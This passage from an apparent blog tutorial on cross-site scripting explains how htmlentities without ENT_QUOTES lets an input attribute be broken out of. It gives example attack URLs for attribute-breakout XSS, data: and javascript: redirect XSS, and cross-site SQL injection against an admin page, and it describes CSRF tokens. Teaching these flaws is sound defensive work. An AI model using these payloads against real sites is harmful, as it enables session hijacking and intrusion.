<code style="font-family: monospace; line-height: 12px; margin: 0px; padding: 0px;"><code style="font-family: monospace; line-height: 12px; margin: 0px; padding: 0px;"><span style="color: black;"><span style="color: #0000bb;">    </span><span style="color: #007700;">...<br />    if(</span><span style="color: #0000bb;">$_GET</span><span style="color: #007700;">[</span><span style="color: #dd0000;">'set_flag'</span><span style="color: #007700;">]==</span><span style="color: #0000bb;">1</span><span style="color: #007700;">) {<br />    </span><span style="color: #0000bb;">$var </span><span style="color: #007700;">= </span><span style="color: #dd0000;">"checked"</span><span style="color: #007700;">;<br />    }<br />    echo </span><span style="color: #dd0000;">"<input type='radio' value='flag' checked='" </span><span style="color: #007700;">.</span><span style="color: #0000bb;">htmlentities</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$var</span><span style="color: #007700;">). </span><span style="color: #dd0000;">"' />"</span><span style="color: #007700;">;<br />    ...  </span><span style="color: #0000bb;"></span></span></code></code></div>
</div>
This is a conditional vulnerability where register_globals in php.ini has to be set to On. (Off is factory default).<br />
Register_Globals basically allows an individual to set variables on the fly, even if they are not meant to be set.<br />
<br />
This only applies to variables that are NOT set as in the example above. Another problem we have encountered<br />
is htmlentities however due to a coding error we can still abuse the tag without creating a new.<br />
We will need to use event handlers in the <input> tag and some CSS (Cascading Style Sheet) to make sure that<br />
the victim triggers the eventhandler no matter what. There's multiple ways of doing that, one of them is:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
HTML Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">style='display:block;width:99999px;height:99999px;'</pre>
</div>
An eventhandler that we could use in this case could be onmouseover, even though onblur might be better.<br />
<br />
You might ask yourself, why is the above script not secure? Because htmlentities() used that way is insecure, due to<br />
that the tag looks like this in html form: <input type='radio' value='flag' checked='$var' /><br />
<br />
Inside the checked value our variable ($var) is encoded, but only " > and < are encoded, not ' due to ENT_QUOTES<br />
were not set in the htmlentities function. This means that we can break out of checked='' easily.<br />
<br />
An example attack URL could be: <a href="http://was-secure.tld/search.php?test=%27%20style=%27display:block;width:99999px;height:99999px;%20%27%20onmouseover=%27alert%280%29">http://was-secure.tld/search.php?test=' style='display:block;width:99999px;height:99999px; ' onmouseover='alert(0)</a><br />
<br />
<br />
There is no "Example Case - C" since I have gone through most the important of Cross Site Scripting.<br />
<br />
<b>___ -:: Additional Information ::- ____________</b><br />
<b>XSSR</b>
<br />
When it is possible to send a user to the data or javascript URI scheme either via A) GET- or POST-variables or B) User<br />
submitted content such as a link then the XSSR category applies to the bug. However some individuals has claimed that<br />
a site that only accepts HTTP or HTTPS links via GET-variables also falls under the XSSR category.<br />
<br />
An example of XSSR could be: <a href="http://somesite.tld/redirect.php?link=data:text/html,%3Cscript%3Ealert%280%29%3C/script%3E">http://somesite.tld/redirect.php?link=data:text/html,<script>alert(0)</script></a><br />
And if the Javascript URI scheme is used: <a href="http://somesite.tld/redirect.php?link=javascript:alert%280%29;">http://somesite.tld/redirect.php?link=javascript<b></b>:alert(0);</a><br />
<br />
This has in some cases been known to leak cookies and is therefore used in session-hijacking.<br />
<br />
<b><acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site SQL Injection">XSSQLI</acronym></b>
<br />
When a SQL Injection vulnerability exists within a privileged area of the target site, <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site SQL Injection">XSSQLI</acronym> becomes usable.<br />
<br />
An example of <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site SQL Injection">XSSQLI</acronym> could be tricking the administrator of "shouldbescure.tld" to click either the SQL Injection<br />
link or click a Cross Site Scripting link which contains a call to the SQL Injection in the privileged area of the site<br />
where this could be the vulnerable part:<a href="http://shouldbesecure.tld/admin.php?del=1%20AND%201=1/*"> http://shouldbesecure.tld/admin.php?del=1 AND 1=1/*</a><br />
<br />
<b><acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">XSRF</acronym></b>
<br />
CSRF</div>
 and C-Surf can be used against sites that doesn't use tokens which are usually hidden inside tags.<br />
A common way to use tokens against C-Surf attacks is to hide them inside tags like:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
HTML Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;"><span style="color: #ff8000;"><input type=<span style="color: blue;">"hidden"</span> name=<span style="color: blue;">"anti-<acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">csrf</acronym>"</span> value=<span style="color: blue;">"random token value"</span> /></span></pre>
</div>
If the tokens are not random enough it might be possible to calculate these and still use C-Surf in an attack.<br />
<br />
<br />
<br />
<b>References:</b><br />
[1] <a href="http://ha.ckers.org/xss.html" style="color: #417394; text-decoration: none;" target="_blank">http://ha.ckers.org/xss.html</a><br />
[2] <a href="http://en.wikipedia.org/wiki/Cross-site_scripting" style="color: #417394; text-decoration: none;" target="_blank">http://en.wikipedia.org/wiki/Cross-site_scripting</a><br />
[3] <a href="http://firecat.intern0t.net/" style="color: #417394; text-decoration: none;" target="_blank">http://firecat.intern0t.net/</a><br />
[4] <a href="http://deadhackers.eu/boards/viewtopic.php?f=9&t=22" style="color: #417394; text-decoration: none;" target="_blank">http://deadhackers.eu/boards/viewtopic.php?f=9&t=22</a>
[5] <a href="http://project67555.appspot.com/security.html">http://project67555.appspot.com/security.html</a><br />
<br />
[6] <a href="http://tamilaffection.com/?p=751">http://tamilaffection.com/?p=751</a><br />
<div id="post_message_8389" style="margin: 0px; padding: 0px;">
<br />
<div>
</div>
-- <br />
<div dir="ltr">
<div class="MsoNormal">
Regards,</div>
<div class="MsoNormal">
Hardeep Singh</div>
<div class="MsoNormal">
(<a href="http://www.fb.com/h4rdeep">www.fb.com/h4rdeep</a>)</div>
</div>
</div>
</div>

LFI XSS XSS Tutorial - From Bug to Vulnerability

Dear fellow members of RAH-Labs This tutorial was originally meant only for DeadHackers as an exclussive guide, however after they...

XSS cheat sheet

Shell by LFI - Method proc / self / environ

LFI ( Local File Inclusion ): How to upload SHELL (C99.txt)

Step by Step guide for LFI (Local File Inclusion): The process of exploiting a website

XSS Tutorial - From Bug to Vulnerability

Popular

Comments

Archive